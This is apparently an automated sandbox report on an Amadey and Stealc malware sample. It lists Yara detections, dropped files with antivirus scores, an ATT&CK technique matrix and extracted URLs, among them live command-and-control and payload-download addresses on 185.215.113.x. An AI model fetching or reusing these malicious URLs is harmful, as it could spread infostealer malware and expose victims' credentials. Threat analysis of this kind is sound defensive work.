Source: Yara match	File source: 6.2.skotes.exe.140000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.skotes.exe.140000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.0.skotes.exe.140000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.0.skotes.exe.140000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.0.skotes.exe.140000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.skotes.exe.140000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.4qIl08vrFY.exe.6a0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000000.2031413122.00000000006A1000.00000020.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000000.2186715740.0000000000141000.00000020.00000001.01000000.00000008.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.4499620731.0000000000141000.00000020.00000001.01000000.00000008.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2038559070.00000000006A1000.00000020.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.2039119571.0000000000141000.00000020.00000001.01000000.00000008.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000000.2041872696.0000000000141000.00000020.00000001.01000000.00000008.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.4499772578.0000000000141000.00000020.00000001.01000000.00000008.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000000.2037585408.0000000000141000.00000020.00000001.01000000.00000008.sdmp, type: MEMORY
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe, type: DROPPED

Yara detected Stealc

Source: Yara match	File source: 4.0.num.exe.50000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.num.exe.50000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.6b11689b40.exe.be0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 14.2.6b11689b40.exe.be0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 13.2.6b11689b40.exe.be0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000005.00000002.2214014711.0000000001A6E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000D.00000003.2335410022.0000000004E10000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.2121570702.0000000000051000.00000080.00000001.01000000.0000000A.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.4503861250.0000000003ED5000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000003.2172652272.0000000005590000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.2212980719.0000000000BE1000.00000040.00000001.01000000.0000000B.sdmp, type: MEMORY
Source: Yara match	File source: 0000000E.00000003.2411328213.0000000004A60000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000D.00000002.2384037029.00000000013FB000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000E.00000002.2452210924.000000000089B000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000000.2108358478.0000000000051000.00000080.00000001.01000000.0000000A.sdmp, type: MEMORY
Source: Yara match	File source: 0000000D.00000002.2383087650.0000000000BE1000.00000040.00000001.01000000.0000000B.sdmp, type: MEMORY
Source: Yara match	File source: 0000000E.00000002.2453067018.0000000000BE1000.00000040.00000001.01000000.0000000B.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.2121787066.0000000000BBE000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000003.2186829926.0000000003ED5000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: num.exe PID: 1876, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 6b11689b40.exe PID: 1532, type: MEMORYSTR
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\1000113001\num.exe, type: DROPPED
Source: Yara match	File source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\num[1].exe, type: DROPPED
Source: Yara match	File source: dump.pcap, type: PCAP

Remote Access Functionality

Yara detected Stealc

Source: Yara match	File source: 4.0.num.exe.50000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.num.exe.50000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.6b11689b40.exe.be0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 14.2.6b11689b40.exe.be0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 13.2.6b11689b40.exe.be0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000005.00000002.2214014711.0000000001A6E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000D.00000003.2335410022.0000000004E10000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.2121570702.0000000000051000.00000080.00000001.01000000.0000000A.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.4503861250.0000000003ED5000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000003.2172652272.0000000005590000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.2212980719.0000000000BE1000.00000040.00000001.01000000.0000000B.sdmp, type: MEMORY
Source: Yara match	File source: 0000000E.00000003.2411328213.0000000004A60000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000D.00000002.2384037029.00000000013FB000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000E.00000002.2452210924.000000000089B000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000000.2108358478.0000000000051000.00000080.00000001.01000000.0000000A.sdmp, type: MEMORY
Source: Yara match	File source: 0000000D.00000002.2383087650.0000000000BE1000.00000040.00000001.01000000.0000000B.sdmp, type: MEMORY
Source: Yara match	File source: 0000000E.00000002.2453067018.0000000000BE1000.00000040.00000001.01000000.0000000B.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.2121787066.0000000000BBE000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000003.2186829926.0000000003ED5000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: num.exe PID: 1876, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 6b11689b40.exe PID: 1532, type: MEMORYSTR
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\1000113001\num.exe, type: DROPPED
Source: Yara match	File source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\num[1].exe, type: DROPPED
Source: Yara match	File source: dump.pcap, type: PCAP

Source: C:\Users\user\Desktop\4qIl08vrFY.exe	Code function: 0_2_006CEC48 Concurrency::details::ContextBase::TraceContextEvent,Concurrency::details::SchedulerBase::GetInternalContext,Concurrency::details::WorkItem::ResolveToken,Concurrency::details::WorkItem::BindTo,Concurrency::details::SchedulerBase::ReleaseInternalContext,Concurrency::details::SchedulerBase::ReleaseInternalContext,	0_2_006CEC48
Source: C:\Users\user\Desktop\4qIl08vrFY.exe	Code function: 0_2_006CDF51 Concurrency::details::SchedulerBase::GetInternalContext,Concurrency::details::WorkItem::ResolveToken,Concurrency::details::WorkItem::BindTo,Concurrency::details::SchedulerBase::ReleaseInternalContext,Concurrency::details::SchedulerBase::GetInternalContext,	0_2_006CDF51
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 1_2_0016EC48 Concurrency::details::ContextBase::TraceContextEvent,Concurrency::details::SchedulerBase::GetInternalContext,Concurrency::details::WorkItem::ResolveToken,Concurrency::details::WorkItem::BindTo,Concurrency::details::SchedulerBase::ReleaseInternalContext,Concurrency::details::SchedulerBase::ReleaseInternalContext,	1_2_0016EC48
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 1_2_0016DF51 Concurrency::details::SchedulerBase::GetInternalContext,Concurrency::details::WorkItem::ResolveToken,Concurrency::details::WorkItem::BindTo,Concurrency::details::SchedulerBase::ReleaseInternalContext,Concurrency::details::SchedulerBase::GetInternalContext,	1_2_0016DF51

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	11 Native API	1 DLL Side-Loading	1 DLL Side-Loading	11 Disable or Modify Tools	OS Credential Dumping	2 System Time Discovery	Remote Services	1 Archive Collected Data	12 Ingress Tool Transfer	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	2 Command and Scripting Interpreter	1 Scheduled Task/Job	212 Process Injection	1 Deobfuscate/Decode Files or Information	LSASS Memory	1 Account Discovery	Remote Desktop Protocol	Data from Removable Media	21 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Scheduled Task/Job	1 Registry Run Keys / Startup Folder	1 Scheduled Task/Job	3 Obfuscated Files or Information	Security Account Manager	2 File and Directory Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	3 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	1 Registry Run Keys / Startup Folder	12 Software Packing	NTDS	346 System Information Discovery	Distributed Component Object Model	Input Capture	114 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	761 Security Software Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 File Deletion	Cached Domain Credentials	361 Virtualization/Sandbox Evasion	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	11 Masquerading	DCSync	13 Process Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	361 Virtualization/Sandbox Evasion	Proc Filesystem	1 Application Window Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	212 Process Injection	/etc/passwd and /etc/shadow	1 System Owner/User Discovery	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
4qIl08vrFY.exe	63%	Virustotal		Browse
4qIl08vrFY.exe	68%	ReversingLabs	Win32.Trojan.Amadey
4qIl08vrFY.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label
C:\Users\user\1000115002\6b11689b40.exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\random[1].exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\1000113001\num.exe	100%	Joe Sandbox ML
C:\Users\user\1000115002\6b11689b40.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\num[1].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\random[1].exe	100%	Joe Sandbox ML
C:\Users\user\1000115002\6b11689b40.exe	37%	ReversingLabs	Win32.Trojan.Generic
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\random[1].exe	37%	ReversingLabs	Win32.Trojan.Generic
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\num[1].exe	83%	ReversingLabs	Win32.Trojan.Stealc
C:\Users\user\AppData\Local\Temp\1000113001\num.exe	83%	ReversingLabs	Win32.Trojan.Stealc
C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	68%	ReversingLabs	Win32.Trojan.Amadey

Unpacked PE Files

⊘No Antivirus matches

Domains

Source	Detection	Scanner	Link
google.com	0%	Virustotal	Browse
youtube-ui.l.google.com	0%	Virustotal	Browse
play.google.com	0%	Virustotal	Browse
www3.l.google.com	0%	Virustotal	Browse
www.google.com	0%	Virustotal	Browse
googlehosted.l.googleusercontent.com	0%	Virustotal	Browse
clients2.googleusercontent.com	0%	Virustotal	Browse
accounts.youtube.com	0%	Virustotal	Browse
chrome.google.com	0%	Virustotal	Browse
www.youtube.com	0%	Virustotal	Browse
youtube.com	0%	Virustotal	Browse

URLs

Source	Detection	Scanner	Label	Link
https://duckduckgo.com/ac/?q=	0%	URL Reputation	safe
https://apis.google.com/js/client.js	0%	URL Reputation	safe
https://nuget.org/nuget.exe	0%	URL Reputation	safe
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	0%	URL Reputation	safe
http://pesterbdd.com/images/Pester.png	0%	URL Reputation	safe
https://apis.google.com/js/api.js	0%	URL Reputation	safe
https://contoso.com/Icon	0%	URL Reputation	safe
http://185.215.113.37/	100%	URL Reputation	malware
https://safebrowsing.google.com/safebrowsing/clientreport/chrome-sct-auditing	0%	Virustotal		Browse
http://185.215.113.37/V	17%	Virustotal		Browse
http://185.215.113.103/test/num.exe	21%	Virustotal		Browse
http://anglebug.com/4633	2%	Virustotal		Browse
https://anglebug.com/7382	0%	Virustotal		Browse
http://185.215.113.43/Zu7JuNko/index.phpnu	12%	Virustotal		Browse
http://185.215.113.37/F	17%	Virustotal		Browse
https://cdn.ecosia.org/assets/images/ico/favicon.icotension	0%	Virustotal		Browse
http://dns-tunnel-check.googlezip.net/connect	1%	Virustotal		Browse
https://docs.google.com/	0%	Virustotal		Browse
https://anglebug.com/7714	0%	Virustotal		Browse
https://assets.adobedtm.com	0%	Virustotal		Browse
https://google-ohttp-relay-join.fastly-edge.com/I	2%	Virustotal		Browse
http://185.215.113.37/e2b1563c6670f193.phpu	17%	Virustotal		Browse
https://accounts.youtube.com/_/AccountsDomainCookiesCheckConnectionHttp/cspreport/allowlist	0%	Virustotal		Browse
https://www.youtube.com/signin?action_handle_signin%253Dtrue%2526app%253Ddesktop%2526hl%253Den%2526n	0%	Virustotal		Browse
https://drive.google.com/?lfhs=2	1%	Virustotal		Browse
http://anglebug.com/6248	0%	Virustotal		Browse

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
youtube-ui.l.google.com	142.250.185.142	true	false	0%, Virustotal, Browse	unknown
google.com	216.58.206.46	true	false	0%, Virustotal, Browse	unknown
www3.l.google.com	172.217.18.110	true	false	0%, Virustotal, Browse	unknown
play.google.com	142.250.181.238	true	false	0%, Virustotal, Browse	unknown
www.google.com	142.250.185.132	true	false	0%, Virustotal, Browse	unknown
googlehosted.l.googleusercontent.com	216.58.206.33	true	false	0%, Virustotal, Browse	unknown
youtube.com	142.250.184.238	true	false	0%, Virustotal, Browse	unknown
clients2.googleusercontent.com	unknown	unknown	false	0%, Virustotal, Browse	unknown
accounts.youtube.com	unknown	unknown	false	0%, Virustotal, Browse	unknown
chrome.google.com	unknown	unknown	false	0%, Virustotal, Browse	unknown
www.youtube.com	unknown	unknown	false	0%, Virustotal, Browse	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://clients2.googleusercontent.com/crx/blobs/AY4GWKCjSWa8TD5HR0ssoNSHmv1DlGbxavvv4f4_vreCQV6o4JdgbhTns13WqVLfraA3idGD1YqVFdL1d29hUkKmBRQxeBB8OW5ZEZvDIDLLC0_H7OAK-03clOTMdE15SKgAxlKa5Za-otUDEb42n7phqLA20ygc_Y63/EFAIDNBMNNNIBPCAJPCGLCLEFINDMKAJ_24_9_1_1.crx	false		unknown
https://www.google.com/favicon.ico	false		unknown
https://clients2.googleusercontent.com/crx/blobs/AY4GWKDHKllS27BO_e8bCnbax_jg8ytdTG4Uzua5Kte91Msonmjt9Ssh1u4j53F3UYy-997sHknkzKEy9994XId3zBBDiju_YSunzv5QYwyL8XEx9VuF26n3JIgkmCYaLzIAxlKa5UdUDZoPCHdwU63c7rFT0JUxfsWG/GHBMNNJOOEKPMOECNNNILNNBDLOLHKHI_1_82_1_0.crx	false		unknown
http://185.215.113.37/	true	URL Reputation: malware	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://www.google.com/coacbE	chrome.exe, 0000000A.00000003.2243572361.0000713800A04000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://duckduckgo.com/ac/?q=	chrome.exe, 0000000A.00000003.2454758567.00003FCC030CC000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.google.com/tools/feedback/open.js	chrome.exe, 0000000A.00000003.4205958155.00003FCC0391C000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://safebrowsing.google.com/safebrowsing/clientreport/chrome-sct-auditing	chrome.exe, 0000000A.00000002.4518852666.00003FCC02298000.00000004.00000800.00020000.00000000.sdmp	false	0%, Virustotal, Browse	unknown
https://apis.google.com/js/client.js	chrome.exe, 0000000A.00000003.4205958155.00003FCC0391C000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://dl.google.com/release2/chrome_component/imoffpf67hel7kbknqflao2oo4_1.0.2738.0/neifaoindggfcji	chrome.exe, 0000000A.00000002.4518219122.00003FCC02213000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://185.215.113.37/V	num.exe, 00000004.00000002.2121787066.0000000000C02000.00000004.00000020.00020000.00000000.sdmp	true	17%, Virustotal, Browse	unknown
http://185.215.113.103/test/num.exe	skotes.exe, 00000003.00000002.4500898178.0000000001087000.00000004.00000020.00020000.00000000.sdmp	false	21%, Virustotal, Browse	unknown
http://anglebug.com/4633	chrome.exe, 0000000A.00000003.2290464363.00003FCC02C84000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000A.00000003.2290377461.00003FCC024A0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000A.00000003.2288553197.00003FCC024A0000.00000004.00000800.00020000.00000000.sdmp	false	2%, Virustotal, Browse	unknown
https://anglebug.com/7382	chrome.exe, 0000000A.00000003.2290464363.00003FCC02C84000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000A.00000003.2290377461.00003FCC024A0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000A.00000003.2288553197.00003FCC024A0000.00000004.00000800.00020000.00000000.sdmp	false	0%, Virustotal, Browse	unknown
https://issuetracker.google.com/284462263	chrome.exe, 0000000A.00000003.2288553197.00003FCC024A0000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://cdn.ecosia.org/assets/images/ico/favicon.icotension	chrome.exe, 0000000A.00000003.2772367012.00003FCC030CC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000A.00000003.2454758567.00003FCC030CC000.00000004.00000800.00020000.00000000.sdmp	false	0%, Virustotal, Browse	unknown
http://185.215.113.43/Zu7JuNko/index.phpnu	skotes.exe, 00000003.00000002.4500898178.0000000001097000.00000004.00000020.00020000.00000000.sdmp	false	12%, Virustotal, Browse	unknown
http://185.215.113.37/F	num.exe, 00000004.00000002.2121787066.0000000000BBE000.00000004.00000020.00020000.00000000.sdmp	true	17%, Virustotal, Browse	unknown
http://dns-tunnel-check.googlezip.net/connect	chrome.exe, 0000000A.00000003.2511037745.00003FCC03B64000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000A.00000003.4246852367.00003FCC03B64000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000A.00000003.3002893869.00003FCC03B64000.00000004.00000800.00020000.00000000.sdmp	false	1%, Virustotal, Browse	unknown
https://docs.google.com/	chrome.exe, 0000000A.00000003.2774970281.00003FCC039A0000.00000004.00000800.00020000.00000000.sdmp	false	0%, Virustotal, Browse	unknown
https://assets.adobedtm.com	chrome.exe, 0000000A.00000003.2346536497.00003FCC03510000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000A.00000003.2372200315.00003FCC02828000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000A.00000003.2346703166.00003FCC02828000.00000004.00000800.00020000.00000000.sdmp	false	0%, Virustotal, Browse	unknown
https://www.youtube.com/signin?action_handle_signin%253Dtrue%2526app%253Ddesktop%2526hl%253Den%2526n	chrome.exe, 0000000A.00000003.2358297327.00003FCC0371C000.00000004.00000800.00020000.00000000.sdmp	false	0%, Virustotal, Browse	unknown
https://anglebug.com/7714	chrome.exe, 0000000A.00000003.2290464363.00003FCC02C84000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000A.00000003.2290377461.00003FCC024A0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000A.00000003.2288553197.00003FCC024A0000.00000004.00000800.00020000.00000000.sdmp	false	0%, Virustotal, Browse	unknown
https://google-ohttp-relay-join.fastly-edge.com/I	chrome.exe, 0000000A.00000003.2259453516.000071380155C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000A.00000003.2259349689.0000713801554000.00000004.00000800.00020000.00000000.sdmp	false	2%, Virustotal, Browse	unknown
http://185.215.113.37/e2b1563c6670f193.phpu	num.exe, 00000004.00000002.2121787066.0000000000C02000.00000004.00000020.00020000.00000000.sdmp	true	17%, Virustotal, Browse	unknown
https://google-ohttp-relay-join.fastly-edge.com/8Q	chrome.exe, 0000000A.00000003.2257989066.00007138014B0000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://accounts.youtube.com/_/AccountsDomainCookiesCheckConnectionHttp/cspreport/allowlist	chrome.exe, 0000000A.00000003.2453387722.00003FCC038C8000.00000004.00000800.00020000.00000000.sdmp	false	0%, Virustotal, Browse	unknown
https://nuget.org/nuget.exe	powershell.exe, 00000008.00000002.2243042817.000000000606B000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://drive.google.com/?lfhs=2	chrome.exe, 0000000A.00000002.4519640603.00003FCC023D4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000A.00000002.4519793394.00003FCC0240C000.00000004.00000800.00020000.00000000.sdmp	false	1%, Virustotal, Browse	unknown
http://anglebug.com/6248	chrome.exe, 0000000A.00000003.2290464363.00003FCC02C84000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000A.00000003.2290377461.00003FCC024A0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000A.00000003.2288553197.00003FCC024A0000.00000004.00000800.00020000.00000000.sdmp	false	0%, Virustotal, Browse	unknown
https://www.ecosia.org/newtab/3-0215-45af-87dc-538868000002	chrome.exe, 0000000A.00000002.4519237628.00003FCC02360000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://apis.google.com/_/scs/abc-static/_/js/55%3A1727682692218469&ddm=0eport/fine-allowlist?	chrome.exe, 0000000A.00000003.2373419811.00003FCC03108000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://anglebug.com/6929	chrome.exe, 0000000A.00000003.2290464363.00003FCC02C84000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000A.00000003.2290377461.00003FCC024A0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000A.00000003.2288553197.00003FCC024A0000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://google-ohttp-relay-query.fastly-edge.com/q8	chrome.exe, 0000000A.00000003.2257989066.00007138014B0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000A.00000003.2258097208.00007138014C0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000A.00000003.2258411023.00007138014DC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000A.00000003.2258941871.0000713801534000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000A.00000003.2258862592.0000713801530000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://www.google.com/accounts/OAuthLogin?issueuberauth=1	chrome.exe, 0000000A.00000003.2775298735.00003FCC03D68000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://anglebug.com/5281	chrome.exe, 0000000A.00000003.2290464363.00003FCC02C84000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000A.00000003.2290377461.00003FCC024A0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000A.00000003.2288553197.00003FCC024A0000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	powershell.exe, 00000008.00000002.2238229966.0000000005001000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://185.215.113.37/e2b1563c6670f193.phpd	num.exe, 00000004.00000002.2121787066.0000000000BBE000.00000004.00000020.00020000.00000000.sdmp	true		unknown
https://youtube.com/	chrome.exe, 0000000A.00000002.4519274085.00003FCC0236C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000A.00000002.4518817300.00003FCC0228C000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://issuetracker.google.com/255411748	chrome.exe, 0000000A.00000003.2288553197.00003FCC024A0000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://185.215.113.43/Zu7JuNko/index.php0?	skotes.exe, 00000003.00000002.4500898178.00000000010D6000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://github.com/google/closure-library/wiki/goog.module:-an-ES6-module-like-alternative-to-goog.p	chrome.exe, 0000000A.00000003.2775115150.00003FCC03AD4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000A.00000003.2775298735.00003FCC03D68000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://anglebug.com/7246	chrome.exe, 0000000A.00000003.2290464363.00003FCC02C84000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000A.00000003.2290377461.00003FCC024A0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000A.00000003.2288553197.00003FCC024A0000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://anglebug.com/7369	chrome.exe, 0000000A.00000003.2290464363.00003FCC02C84000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000A.00000003.2290377461.00003FCC024A0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000A.00000003.2288553197.00003FCC024A0000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://pesterbdd.com/images/Pester.png	powershell.exe, 00000008.00000002.2238229966.0000000005156000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.2249801206.0000000007A94000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://anglebug.com/7489	chrome.exe, 0000000A.00000003.2290464363.00003FCC02C84000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000A.00000003.2290377461.00003FCC024A0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000A.00000003.2288553197.00003FCC024A0000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://duckduckgo.com/?q=	chrome.exe, 0000000A.00000002.4518543938.00003FCC0223C000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://www.apache.org/licenses/LICENSE-2.0.html	powershell.exe, 00000008.00000002.2238229966.0000000005156000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.2249801206.0000000007A94000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://chrome.google.com/webstore	chrome.exe, 0000000A.00000003.2295304940.00003FCC033C4000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://apis.google.com/js/api.js	chrome.exe, 0000000A.00000003.4205958155.00003FCC0391C000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://drive-daily-2.corp.google.com/	chrome.exe, 0000000A.00000003.2774970281.00003FCC039A0000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://payments.google.com/payments/v4/js/integrator.js	chrome.exe, 0000000A.00000003.2775298735.00003FCC03D68000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://www.google.com/chromesuggestionsJK	chrome.exe, 0000000A.00000003.2243572361.0000713800A04000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://apis.google.com/_/scs/abc-static/_/js/;report-uri	chrome.exe, 0000000A.00000003.4205958155.00003FCC0391C000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://contoso.com/Icon	powershell.exe, 00000008.00000002.2243042817.000000000606B000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://cdn.ecosia.org/assets/images/ico/favicon.ico	chrome.exe, 0000000A.00000003.2772367012.00003FCC030CC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000A.00000003.2454758567.00003FCC030CC000.00000004.00000800.00020000.00000000.sdmp	false		unknown
